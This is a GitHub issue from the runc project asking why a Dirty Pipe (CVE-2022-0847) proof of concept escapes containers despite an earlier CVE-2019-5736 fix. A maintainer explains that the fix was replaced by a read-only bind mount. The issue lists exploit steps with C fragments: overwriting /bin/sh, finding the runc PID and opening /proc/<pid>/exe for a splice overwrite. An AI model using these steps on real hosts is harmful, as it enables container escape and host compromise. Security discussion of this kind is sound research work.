Skip to content

This issue was moved to a discussion.

You can continue the conversation there. Go to discussion →

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Why dirty pipe can escape container? #3422

Closed
g0dA opened this issue Mar 18, 2022 · 3 comments
Closed

Why dirty pipe can escape container? #3422

g0dA opened this issue Mar 18, 2022 · 3 comments

Comments

@g0dA
Copy link

g0dA commented Mar 18, 2022

Overwriting /proc/runc pid/exe through dirty pipe(CVE-2022-0847) can cause container escape like CVE-2019-5736

But CVE-2019-5736 was fixed by memfd_create in commit nsenter: clone /proc/self/exe to avoid exposing host binary to container

For now i think /proc/runc pid/exe is an in-memory file, if we open it we can get fd created by memfd_create
in kernel :

static int proc_exe_link(struct dentry *dentry, struct path *exe_path)
{
	struct task_struct *task;
	struct file *exe_file;

	task = get_proc_task(d_inode(dentry));
	if (!task)
		return -ENOENT;
	exe_file = get_task_exe_file(task);
	put_task_struct(task);
	if (exe_file) {
		*exe_path = exe_file->f_path;
		path_get(&exe_file->f_path);
		fput(exe_file);
		return 0;
	} else
		return -ENOENT;
}

exe_file is task->mm->exe_file and it It should be an in-memory file not a file on disk,so we shouldn't be able to overwrite the disk file by overwriting it

But my poc works and i don't know why

Steps :

  1. echo '#!/proc/self/exe' > /bin/sh
  2. search runc pid
	while (found == 0) {
		dir = opendir("/proc");
		while ((ptr = readdir(dir)) != NULL) {
			snprintf(path, sizeof(path), "/proc/%s/cmdline", ptr->d_name);
			if (isRuncProcess(path, "runc")) {
				found = atoi(ptr->d_name);
				printf("[+] Found the RUNC PID: %d\n", found);
				break;		
			}
		}
		closedir(dir);
	}
  1. open /proc/runc pid/exe
	int handleFd = -1;
	while (handleFd == -1) {
		snprintf(path, sizeof(path), "/proc/%d/exe", found);
		handleFd = open(path, O_RDONLY);
	}	
  1. runc exec -t test /bin/sh
  2. splice + write overwrite
@cyphar
Copy link
Member

cyphar commented Mar 18, 2022

Because of many complaints by Kubertnetes folks, we switched to making /proc/self/exe a read-only bind-mount. The memfd logic still exists but it's only exercised by rootless containers.

It's pretty frustrating that I implemented a protection against this precise issue which we were forced to disable because Kubertnetes integration tests started failing (copying the binary increases memory usage by a few MB and the Kubertnetes tests had tiny memory limits).

@g0dA
Copy link
Author

g0dA commented Mar 18, 2022

Oh my god, it looks like this, no wonder the actual performance of runc is not the same as the previous fix report.

Then I have a new question :

int n = sendfile(execfd, binfd, NULL, statbuf.st_size - sent);

by sendfile() memfd and binfd are the same page cache,if the pagecache of memfd is modified through dirtypipe, it will also cause the container to escape

Am I right?

@kings-way
Copy link

kings-way commented Mar 18, 2022

@opencontainers opencontainers locked and limited conversation to collaborators Mar 19, 2022
@AkihiroSuda AkihiroSuda converted this issue into discussion #3423 Mar 19, 2022

This issue was moved to a discussion.

You can continue the conversation there. Go to discussion →

Projects
None yet
Development

No branches or pull requests

4 participants